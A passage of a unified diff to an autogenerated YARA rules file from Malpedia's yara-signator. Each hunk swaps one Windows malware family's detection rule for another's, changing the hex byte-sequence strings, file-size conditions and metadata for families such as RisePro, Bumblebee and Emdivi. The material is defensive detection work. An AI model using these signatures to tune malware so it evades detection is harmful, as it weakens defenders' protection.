488b9c24a8010000 e9???????? 4889bc2418010000 } + $sequence_2 = { f20f10442440 e8???????? 488d051a1f1a00 bb0c000000 6690 e8???????? e8???????? } + $sequence_3 = { 80f902 7345 884c2417 0fb6d1 4889542420 48c1e206 488d35728f3000 } + $sequence_4 = { 48c740102c000000 833d????????00 750d 488d0d57b70600 48894808 eb10 488d7808 } + $sequence_5 = { 4c8b4028 4c8b4830 4c8b5020 488dbc2490010000 488d3585530b00 48896c24f0 488d6c24f0 } + $sequence_6 = { 6690 eb10 488d7a70 488d155b4b0d00 e8???????? 90 488b15???????? } + $sequence_7 = { bb06000000 90 e8???????? 488b442410 e8???????? 488d0525631700 bb0b000000 } + $sequence_8 = { eb09 4889c7 90 e8???????? 488d0514690e00 488b5c2438 488d0d73e11000 } + $sequence_9 = { eb14 488d7818 488b8c24c0020000 0f1f00 e8???????? 48c740100b000000 488d0d9ed01300 } condition: - 7 of them and filesize < 360448 + 7 of them and filesize < 7152640 } -rule MALPEDIA_Win_Unidentified_006_Auto : FILE +rule MALPEDIA_Win_Tigerlite_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "97d4c257-a67c-55d3-ab2d-8345f8133abc" + id = "119827aa-8530-5cae-8d65-e56592a0b2d2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_006" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_006_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tigerlite" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tigerlite_auto.yar#L1-L169" license_url = "N/A" - logic_hash = "e5d463a76ca11d9b4f7e0289dbf185a64b45114b95835b2526afa161b71d15ae" + logic_hash = "b688ea808508193aa1c7d4aa7527d4ad25741bc4cd2a88205c0fc518db087920" score = 75 quality = 75 tags = "FILE" @@ -131236,32 +131083,38 @@ rule MALPEDIA_Win_Unidentified_006_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 817c0afc54494b46 750c 83c2fc e8???????? } - $sequence_1 = { 83c603 25ff000000 30041a 42 3bd1 72df } - $sequence_2 = { 7410 8b55f4 85d2 7409 e8???????? } - $sequence_3 = { 59 84db 750d 85f6 7416 56 e8???????? } - $sequence_4 = { 85db 0f840a010000 56 ff75ec } - $sequence_5 = { 1bc0 23f8 0fb6875c204000 47 03c6 83c603 } - $sequence_6 = { 56 e8???????? 59 eb0d 8b45e8 8b4d08 } - $sequence_7 = { 85c0 7529 8b4dfc 85c9 } - $sequence_8 = { 832600 832700 6a06 ebba } - $sequence_9 = { 50 ff75ec 8bfb ff15???????? 85c0 } + $sequence_0 = { 488bf8 4883f8ff 7520 488d15e1c50100 488bce e8???????? } + $sequence_1 = { 4885c0 0f84a9010000 488bc8 ff15???????? 488d1520ad0000 } + $sequence_2 = { 803c0700 75f7 488d4f01 4d8bce } + $sequence_3 = { 2bca 8d95e0f9ffff 8d7201 8a02 42 } + $sequence_4 = { 50 e8???????? 83c40c c645f400 833d????????00 c745f500000000 } + $sequence_5 = { e8???????? 4c8d4530 8d5614 488d0defa70100 897530 e8???????? 8b5530 } + $sequence_6 = { ff15???????? 8bf8 e9???????? 8b8528e5ffff 8b0c85489d4100 8b8524e5ffff } + $sequence_7 = { 0fbec2 0fbe80d8214100 83e00f eb02 33c0 } + $sequence_8 = { 8d859cf2ffff 03c1 8b8d24e5ffff 50 8b8528e5ffff 8b0485489d4100 ff3401 } + $sequence_9 = { 50 8b0495489d4100 ff3418 ff15???????? 85c0 750a } + $sequence_10 = { 488bfa 488bd9 488d0549e90000 488981a0000000 83611000 } + $sequence_11 = { 8a06 46 88441905 8b45f4 83fa02 7c11 8b0c85489d4100 } + $sequence_12 = { ff742414 8b442420 03c6 57 } + $sequence_13 = { 785b 8bc3 2503000080 7d07 } + $sequence_14 = { 0fb605???????? 488bf9 88442428 e8???????? 4885c0 0f8422010000 } + $sequence_15 = { c3 33d2 41b800040000 488bc8 } condition: - 7 of them and filesize < 40960 + 7 of them and filesize < 349184 } -rule MALPEDIA_Win_Bka_Trojaner_Auto : FILE +rule MALPEDIA_Win_Fancyfilter_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ef77dd44-0b56-55a7-bd80-bb8aedf02909" + id = "975f685e-f179-537e-9fa3-85eadc815e28" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bka_trojaner" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bka_trojaner_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fancyfilter" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fancyfilter_auto.yar#L1-L111" license_url = "N/A" - logic_hash = "f15473c37bfc124735dc99ab7490e1138bd0e34fbe32e10f0ddc7571161a090f" + logic_hash = "d344d0526413aed72b15674c72f5f795f13d63b4791189f46999d274791cb577" score = 75 quality = 75 tags = "FILE" @@ -131275,32 +131128,32 @@ rule MALPEDIA_Win_Bka_Trojaner_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8365d800 c745dce7384000 a1???????? 8945e0 } - $sequence_1 = { 50 56 e8???????? 83c408 8b54241c 55 } - $sequence_2 = { 83ec4c 56 8b742454 6808020000 68???????? } - $sequence_3 = { ff15???????? 8b542414 56 52 ff15???????? 8b4570 } - $sequence_4 = { 0fb6442404 8a4c240c 8488e1eb4000 751e 837c240800 7410 } - $sequence_5 = { 5e c3 56 8b742408 8b06 813863736de0 751c } - $sequence_6 = { ff7508 83c008 e8???????? 3b4514 59 752d 837df800 } - $sequence_7 = { 50 8db6b4e14000 ff36 e8???????? } - $sequence_8 = { 83ff01 751a 8b442414 8b08 8b542408 51 } - $sequence_9 = { 7508 8b4508 a3???????? 5b 33c0 5f } + $sequence_0 = { 891d???????? 891d???????? b001 5b } + $sequence_1 = { ff15???????? 83c420 83f803 7409 } + $sequence_2 = { 66833800 7404 b001 eb02 } + $sequence_3 = { 740f 8d4f20 51 50 ff15???????? } + $sequence_4 = { 83f80a 7305 83c030 eb03 83c057 8801 } + $sequence_5 = { 51 50 ff15???????? 8b36 } + $sequence_6 = { a1???????? 83c012 50 ff15???????? } + $sequence_7 = { 8d4f20 51 50 ff15???????? 8b36 } + $sequence_8 = { b805400080 c20400 56 8b742408 8b4618 85c0 } + $sequence_9 = { 83c030 eb03 83c057 8801 49 } condition: - 7 of them and filesize < 221184 + 7 of them and filesize < 169984 } -rule MALPEDIA_Win_Ati_Agent_Auto : FILE +rule MALPEDIA_Win_Spectre_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7923380a-3a79-5e9d-9e37-869ed5e218b2" + id = "ab060ee1-08ad-588e-8d49-1ae94553e1b3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ati_agent" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ati_agent_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spectre" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spectre_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "6ad1a7df4d93d69034a0d3b89b3f7bb98b02a7b32cfc4a510150a1520d075ff9" + logic_hash = "84c50bd871d13f0a4f1a8853e9cdfc23094379080d0055ac204b2f23d3a74297" score = 75 quality = 75 tags = "FILE" @@ -131314,32 +131167,32 @@ rule MALPEDIA_Win_Ati_Agent_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4885c0 7404 f0440108 488d4158 41b806000000 488d1532cf0000 } - $sequence_1 = { c3 48895c2408 4889742410 57 4883ec70 8bf2 } - $sequence_2 = { 48895c2408 57 4883ec20 488d1d67870000 } - $sequence_3 = { 488d4158 41b806000000 488d1594c50000 483950f0 740b } - $sequence_4 = { 4883ec40 488b05???????? 4833c4 4889442438 498bf0 488bfa } - $sequence_5 = { 7d16 4863cf 8a84191d010000 42888401e0e80000 ffc7 ebde } - $sequence_6 = { 4c8bef 49c1fd05 4c8d3528e20000 83e31f 486bdb58 } - $sequence_7 = { e8???????? 4883c448 c3 4053 4883ec40 8bd9 } - $sequence_8 = { 48890d???????? c3 4883ec28 4c8bc1 } - $sequence_9 = { e8???????? b9ff000000 e8???????? 488bfb 4803ff 4c8d2df1790000 49837cfd0000 } + $sequence_0 = { 8bce 50 ff750c ff7508 e8???????? 8d4de4 e8???????? } + $sequence_1 = { 6bc938 53 56 8b048538324700 8b7508 57 8bfe } + $sequence_2 = { 8d4d20 e8???????? 8b4dfc 33cd 5e e8???????? c9 } + $sequence_3 = { 50 e8???????? 8b8424b4000000 83c434 8b4c247c 2bc1 83e830 } + $sequence_4 = { c605????????01 e8???????? eb0c 881d???????? 881d???????? 8b442448 bb00100000 } + $sequence_5 = { 8bcf 89442420 e8???????? 89442410 8bc3 2b442414 6a18 } + $sequence_6 = { 6a01 be???????? 8d8de4feffff 56 e8???????? 8d454c 50 } + $sequence_7 = { 8b4e0c b8ffffff7f 2bc1 3bc3 7279 83651000 8d4510 } + $sequence_8 = { 8d8c24fc010000 e8???????? 8d8424f8010000 50 8d842454010000 68???????? 50 } + $sequence_9 = { e8???????? 8b44242c 83c40c 0430 89442420 8b44245c 8b542420 } condition: - 7 of them and filesize < 172032 + 7 of them and filesize < 990208 } -rule MALPEDIA_Win_Burnbook_Auto : FILE +rule MALPEDIA_Win_Cmstar_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d8a1b3af-c791-5a49-95d1-39ec74922c1f" + id = "a9e2a661-537d-568b-85df-f27a686a58fb" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.burnbook" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.burnbook_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cmstar" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cmstar_auto.yar#L1-L177" license_url = "N/A" - logic_hash = "6939db5a1f9211e1e7ddaeea7285f0f9407b5dc4feaa3227884659565987f25b" + logic_hash = "cb1d0cd52e24cba8a51ced68bf521fb28bf6b675c076737849c87cad9d60f02d" score = 75 quality = 75 tags = "FILE" @@ -131353,32 +131206,38 @@ rule MALPEDIA_Win_Burnbook_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f7d8 418906 418bc3 83ffff 7d02 f7d8 410fafd9 } - $sequence_1 = { e8???????? 8945ef 41b881010000 488bd7 488bcb e8???????? 4885c0 } - $sequence_2 = { f30f2cc0 8801 48ffc1 4883ea01 75c9 488b459f 4c2b5028 } - $sequence_3 = { ffc1 448bd1 f7d9 8d344e 0f1f00 0fb60a 0faf08 } - $sequence_4 = { f20f1003 f20f59c6 f20f58c7 e8???????? f20f2cc0 89862c0c0000 f20f104308 } - $sequence_5 = { e8???????? 85c0 7419 488b5308 8b0c3a 85c9 7407 } - $sequence_6 = { f30f2c442440 4883c304 488d7f04 8947fc 4883ee01 75dc 488b742430 } - $sequence_7 = { f30f7f840cf0030000 f30f5bc2 f30f7f440cf0 81fa00010000 0f8c5cffffff 0f28bc24100c0000 0f28b424200c0000 } - $sequence_8 = { f30f114014 488bc3 4881c448010000 415f 415e 5f 5e } - $sequence_9 = { e8???????? 85c0 7814 0fb6c0 488bd6 488bcd 0bf8 } + $sequence_0 = { 53 56 bb04010000 57 53 } + $sequence_1 = { 8b45e8 ff75e0 ff30 e8???????? 8b4df8 } + $sequence_2 = { 8b4dec c1e802 6a04 52 8d0481 50 e8???????? } + $sequence_3 = { ff15???????? 8bc6 e9???????? 6a10 } + $sequence_4 = { ff15???????? 6a04 e8???????? be00040000 } + $sequence_5 = { 8b45d8 836dfc10 ff75fc 8945e0 8b45dc 83c310 8945e4 } + $sequence_6 = { ff15???????? 6a03 58 5f 5e 5b c9 } + $sequence_7 = { 85c0 7504 6a03 eb0d 803b4d } + $sequence_8 = { 888204420010 83c9ff 33c0 42 f2ae f7d1 49 } + $sequence_9 = { 8bf0 85f6 74b2 817c240cc8000000 741c a1???????? 33f6 } + $sequence_10 = { 81ec08060000 53 55 56 57 33db b9ff000000 } + $sequence_11 = { a1???????? 8b10 52 53 } + $sequence_12 = { 49 8d7c2418 8bc1 83c9ff 89442410 } + $sequence_13 = { a1???????? 85c0 7505 a1???????? 6a00 6a00 6a03 } + $sequence_14 = { be01000000 8b4c2420 51 ff15???????? 3beb 7409 55 } + $sequence_15 = { 64890d00000000 81c4c0120000 c3 8b8c24d0120000 33db 3bcb 741c } condition: - 7 of them and filesize < 22976512 + 7 of them and filesize < 4268032 } -rule MALPEDIA_Win_Tinytyphon_Auto : FILE +rule MALPEDIA_Win_Risepro_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ab55cd29-217a-5df2-bee5-a74f289c1c92" + id = "a15990c8-9753-5e87-a4b5-d8648a3a2e45" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinytyphon" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tinytyphon_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.risepro" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.risepro_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "68d6c1790e6e0cef7204bca3122eca023e6ea67ccbabc152f7ca7bf6dee039f5" + logic_hash = "27ab7b74bb4368f92b33ca48075a5bb9daa807fbe12d867a6bb9fe94c38b462c" score = 75 quality = 75 tags = "FILE" @@ -131392,32 +131251,32 @@ rule MALPEDIA_Win_Tinytyphon_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 51 ff15???????? 8d55ec 52 ff15???????? 8d45ec } - $sequence_1 = { 7412 68???????? 8d85e8feffff 50 ff15???????? 8d8dccfdffff 51 } - $sequence_2 = { 0bc2 8b4df4 0fb6512b c1e218 0bc2 8b4d08 } - $sequence_3 = { 8b55c8 0355c0 8b45d4 0345c0 8a08 880a } - $sequence_4 = { 8b550c 8b4208 50 68???????? 8b4d08 51 ff15???????? } - $sequence_5 = { 83bd54ffffff00 7517 8b9558ffffff 52 ff15???????? b801000000 e9???????? } - $sequence_6 = { c1e918 8b550c 884a53 8b450c } - $sequence_7 = { 85c0 744b 8b5508 0fb602 } - $sequence_8 = { 8945f0 837df000 0f8485000000 8b4df0 0fbe5108 83fa02 7410 } - $sequence_9 = { 8945f8 8b4ddc f7d1 0b4df8 334de4 8b5508 038a94000000 } + $sequence_0 = { eb04 32c0 eb02 b001 8be5 5d } + $sequence_1 = { e8???????? 50 8d4de4 e8???????? ebdc 8d4de4 } + $sequence_2 = { 8b5508 8d0c4a 8d5514 e8???????? } + $sequence_3 = { 8995f0feffff b808000000 6bc800 8b95ccfeffff 8b840a8c000000 } + $sequence_4 = { 8b4de8 0fb79180000000 52 8b4508 50 8b4de8 e8???????? } + $sequence_5 = { c745fc00000000 c745d888bd4100 8b4de8 51 8b55d8 52 8d4def } + $sequence_6 = { 8b55c8 8955b0 8d45d8 50 } + $sequence_7 = { 8bc8 e8???????? 8945f8 e8???????? 8945f4 } + $sequence_8 = { 64a300000000 894dc4 8b4dc4 83c11c e8???????? } + $sequence_9 = { 2b45f0 3b45f4 7305 e8???????? 8a45fe } condition: - 7 of them and filesize < 90112 + 7 of them and filesize < 280576 } -rule MALPEDIA_Win_Minibike_Auto : FILE +rule MALPEDIA_Win_Vyveva_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b4e41190-0fa0-5a7c-a07b-bb3addd5d6da" + id = "c28bdd95-7642-5880-a40e-4b358402045a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.minibike" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.minibike_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vyveva" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vyveva_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "d63c47c9b294af645af17048597f95704ec7db4dff6a776da81f783cf994a29a" + logic_hash = "96e07d213688d1c1087554cfee92b5503a65dfc0259352cd96965149acc4d781" score = 75 quality = 75 tags = "FILE" @@ -131431,32 +131290,32 @@ rule MALPEDIA_Win_Minibike_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a00 0f434520 6800008004 6a00 6a00 6a00 51 } - $sequence_1 = { 2bc2 3bc8 0f8758010000 8d040a 8bce 3bc6 0f43c8 } - $sequence_2 = { 75bd 8b5508 8b451c 83f810 7227 8d4801 8bc2 } - $sequence_3 = { 8975b4 a801 742b e8???????? 6a00 c7461000000000 8bce } - $sequence_4 = { 8985b4fdffff 51 0f57c0 c785ecfdffff00000000 8d8588fdffff 660fd685e4fdffff 0f2805???????? } - $sequence_5 = { 2bc6 8bbda4feffff c1f802 898decfcffff 8985f8fcffff 85c0 7441 } - $sequence_6 = { 8b85c8fdffff 33c9 8bb5c4fdffff 2bc6 8bbdd0fdffff c1f802 898df4fcffff } - $sequence_7 = { c7431000000000 c7431407000000 85c0 7568 50 68???????? 8bcb } - $sequence_8 = { eb06 8b95acfcffff 83fa08 7235 8b8d98fcffff 8d145502000000 8bc1 } - $sequence_9 = { 83f81f 0f87e5020000 51 56 e8???????? 83c408 c745b800000000 } + $sequence_0 = { 7404 ff7604 59 3b7108 7506 50 8f4108 } + $sequence_1 = { 8b442428 3b4c2438 740c 3b4c2438 7406 33c9 034c2438 } + $sequence_2 = { 83ec04 33ed 8d6c2c74 83ed74 c74424fcffffffff 83ec04 68???????? } + $sequence_3 = { e8???????? 8b4c242c 8b442428 8d54243c 894c2440 6a08 52 } + $sequence_4 = { 037e3c 8d4c0f38 83e938 50 5f 51 52 } + $sequence_5 = { 51 5d 59 55 59 6a01 } + $sequence_6 = { 8b8c2434020000 8d54240c 894c240c 6a04 52 56 59 } + $sequence_7 = { 8365f000 8365f400 8365f800 8365fc00 c745f0900c0110 } + $sequence_8 = { 33c0 0306 395814 0f854b010000 8b4c2410 55 8f4614 } + $sequence_9 = { 741c 56 8b742414 ff36 59 41 51 } condition: - 7 of them and filesize < 574464 + 7 of them and filesize < 360448 } -rule MALPEDIA_Win_Mindware_Auto : FILE +rule MALPEDIA_Win_Tonerjam_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "23a8487f-e2c7-545b-81cb-6372e4caaae2" + id = "f786075c-cfe5-5b49-a6e1-4889818e7624" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mindware" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mindware_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tonerjam" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tonerjam_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "c1e547ffdf51514bc4e27c57582e862eb5175ec80e05ba2145cb8dfa6653e95b" + logic_hash = "d8a6c742127525a08706ace06fd5028ecb9ea4f1402f1305542963485e91aa8b" score = 75 quality = 75 tags = "FILE" @@ -131470,32 +131329,32 @@ rule MALPEDIA_Win_Mindware_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 68???????? e8???????? 83c40c 8b4dfc 8b7dfc 83c72c } - $sequence_1 = { 50 8b4d08 8b5108 8b4508 8b12 8b4808 } - $sequence_2 = { c7855cecfffff8d44300 c78560ecffff00d54300 c78564ecffff0cd54300 c78568ecffff18d54300 c7856cecffff24d54300 c78570ecffff2cd54300 c78574ecffff34d54300 } - $sequence_3 = { c1e810 83e03f c1e918 83e13f 8b0c8d603a4400 330c8520394400 8bc2 } - $sequence_4 = { 33148dc0bc4400 8bcb c1e918 33148dc0c44400 8b4df0 } - $sequence_5 = { e8???????? 8b4dfc 51 e8???????? 8b55fc c7423000000000 8b45fc } - $sequence_6 = { c78540f1ffffbce04300 c78544f1ffffc4e04300 c78548f1ffffcce04300 c7854cf1ffffd4e04300 c78550f1ffffe0e04300 c78554f1ffffece04300 c78558f1fffff4e04300 } - $sequence_7 = { 83e03f 330c8520384400 330c95e03c4400 8bd3 33f1 c1ca04 33576c } - $sequence_8 = { 8b4dfc 8b7dfc 83c72c 32c0 8b4928 } - $sequence_9 = { 0fb689f0d84400 c1e108 33d1 8b4df0 c1e908 0fb6c9 c1e208 } + $sequence_0 = { 488d4c2458 448d4218 ff15???????? 488d442458 c744247068000000 4889442448 } + $sequence_1 = { 41b804010000 ff15???????? 33d2 488d8d50010000 41b804010000 } + $sequence_2 = { 4883ec28 e8???????? 488bc8 488d15314e0100 4883c428 e9???????? 48895c2418 } + $sequence_3 = { 488d4508 458bce 4533c0 4889442420 488d1515c10100 48c7c102000080 ff15???????? } + $sequence_4 = { ff15???????? 85c0 757c 48c7c0ffffffff } + $sequence_5 = { 4903c0 660f1f840000000000 8030e5 488d4001 } + $sequence_6 = { 33d2 e8???????? 4885db 7414 488d0536d70100 483bd8 } + $sequence_7 = { 33c9 ff15???????? cc b801000000 488b8c2430010000 4833cc e8???????? } + $sequence_8 = { c3 397c2440 488b5c2448 400f95c7 8bc7 } + $sequence_9 = { 488d0dbac10100 e8???????? 48c7c3ffffffff 488d8d70020000 488bc3 0f1f4000 48ffc0 } condition: - 7 of them and filesize < 661504 + 7 of them and filesize < 315392 } -rule MALPEDIA_Win_Bookcodesrat_Auto : FILE +rule MALPEDIA_Win_Emdivi_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f4de16d7-c6b7-5d95-8f65-784498dd67cf" + id = "ef5b2254-03f0-58f4-b962-bbb2c39fe141" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bookcodesrat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bookcodesrat_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.emdivi" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.emdivi_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "86df5d17676a07501443cee06a4988ba13f3d4cc771e2022b238854a7e0b8406" + logic_hash = "a232eb74848fdd496e4591cb6ccd862ae9760c83f1359caadd1d0bedc4ecfd7c" score = 75 quality = 75 tags = "FILE" @@ -131509,32 +131368,32 @@ rule MALPEDIA_Win_Bookcodesrat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c785f8010000097c504a 66c785fc0100004c4a c685fe0100006a 8845c8 488945c9 8945d1 668945d5 } - $sequence_1 = { 33d2 41b848090000 897c2444 897c2440 e8???????? 41ff942490000000 488d4c2444 } - $sequence_2 = { 4883c002 bf0c000000 488906 eb05 bf0b000000 488d4c2420 488bd3 } - $sequence_3 = { 33d2 41b808020000 e8???????? 0fb754245c 0fb74c2458 0fb744245a 0fb77c2456 } - $sequence_4 = { e8???????? cc 8b4b28 488b4308 498bd4 } - $sequence_5 = { 4885c9 7406 ff15???????? 4883bb7002000008 720c 488b8b58020000 e8???????? } - $sequence_6 = { 488bd0 e8???????? 89442438 41b901000000 488d8b30330000 488d542438 458d4103 } - $sequence_7 = { 66f2af 48f7d1 4c8d41ff 488d55c0 488d4d90 e8???????? } - $sequence_8 = { 488bf1 488d151bbd0200 488d0d30d50200 e8???????? 4883c9ff 488bfe 488bd8 } - $sequence_9 = { 32c2 ffc2 3433 428884058f070000 83fa14 7ce4 4863c2 } + $sequence_0 = { c1e304 83e203 3355f8 33fb } + $sequence_1 = { e8???????? ff75ec 8ad8 c0fb02 } + $sequence_2 = { e8???????? c3 beff010000 56 } + $sequence_3 = { e8???????? 0ad8 59 881f } + $sequence_4 = { e8???????? 99 2bf7 f7fe 8bc2 } + $sequence_5 = { 0f8785000000 8a45ff c0fb04 c0e002 0ad8 881f } + $sequence_6 = { f7fb 5b 6a07 03f8 8bc1 } + $sequence_7 = { e8???????? 8bd8 8bc6 59 c6432000 8d7801 } + $sequence_8 = { 83ec10 8bfc 8db5f4f2ffff a5 a5 a5 } + $sequence_9 = { 385d08 7513 53 53 6a01 53 53 } condition: - 7 of them and filesize < 544768 + 7 of them and filesize < 581632 } -rule MALPEDIA_Win_Hyperbro_Auto : FILE +rule MALPEDIA_Win_Shatteredglass_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0527accf-dc31-5cb1-be86-ae182f5b1e44" + id = "1439db5c-49a0-5968-b59a-03910a603b61" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperbro" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hyperbro_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shatteredglass" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shatteredglass_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "4b67c3c5bbc71bde556bbaa0da5f9d6d067d8c81b3b3ffbe7e62f8abebcb4ca9" + logic_hash = "f010e143a6683faf7af5372236553bb5fc1b43eebb2159b594f8f51e8251f8d5" score = 75 quality = 75 tags = "FILE" @@ -131548,32 +131407,32 @@ rule MALPEDIA_Win_Hyperbro_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 51 e8???????? 8b5620 52 e8???????? 8b4614 50 } - $sequence_1 = { 83fe40 7e33 8b0f 51 e8???????? } - $sequence_2 = { 8a4b05 884f01 8b4308 83c410 50 8bc6 c7460840000000 } - $sequence_3 = { c70600000000 c7460400000000 8d5e0c e8???????? 83c404 } - $sequence_4 = { 0f8617feffff 8a17 8816 46 } - $sequence_5 = { 33ff 3bc7 7412 50 e8???????? 83c404 897e20 } - $sequence_6 = { 8b4614 8b1d???????? 83c404 3bc7 7406 50 ffd3 } - $sequence_7 = { 41 e9???????? 8b442410 8b6c2418 e9???????? 2b4c2428 8b44242c } - $sequence_8 = { 83c410 85ed 750e 8b7c2410 } - $sequence_9 = { 895c2430 895c2434 3bfb 7409 57 e8???????? 83c404 } + $sequence_0 = { 03f0 83fe10 7ce1 83fe10 752f } + $sequence_1 = { 7ce1 83fe10 752f eb29 } + $sequence_2 = { 0f8ecf000000 8b531c 8bca 8d7102 } + $sequence_3 = { 6a00 b810000000 2bc6 50 8d8640d74100 50 57 } + $sequence_4 = { eb02 32d2 8bc6 c0e104 d1e8 02ca 83c602 } + $sequence_5 = { 8d4900 0fb70c77 8d41d0 6683f809 7705 } + $sequence_6 = { 7705 80e937 eb10 8d419f 6683f819 7705 } + $sequence_7 = { 53 ff15???????? 80bd33ffffff00 0f8452ffffff 57 e8???????? } + $sequence_8 = { 2bce d1f9 83f918 740a 68???????? e9???????? } + $sequence_9 = { 72f1 33c0 5d c3 8b04c58c434100 5d c3 } condition: - 7 of them and filesize < 352256 + 7 of them and filesize < 273408 } -rule MALPEDIA_Win_Ldr4_Auto : FILE +rule MALPEDIA_Win_Bumblebee_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c588634c-3a69-5c4e-b524-6b66db1c4a89" + id = "51e7861d-d3b9-5cdb-81c5-a532ba2bf356" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ldr4" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ldr4_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bumblebee" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bumblebee_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "e747da5dcad3015b47810444cb7613ce4b06e63b04ebbc6ff8767e44ad66440e" + logic_hash = "55275cb4405b1783096501f885fe54bb72513b66b06e891fc6760c0a6547ff81" score = 75 quality = 75 tags = "FILE" @@ -131587,34 +131446,34 @@ rule MALPEDIA_Win_Ldr4_Auto : FILE malpedia_sharing = 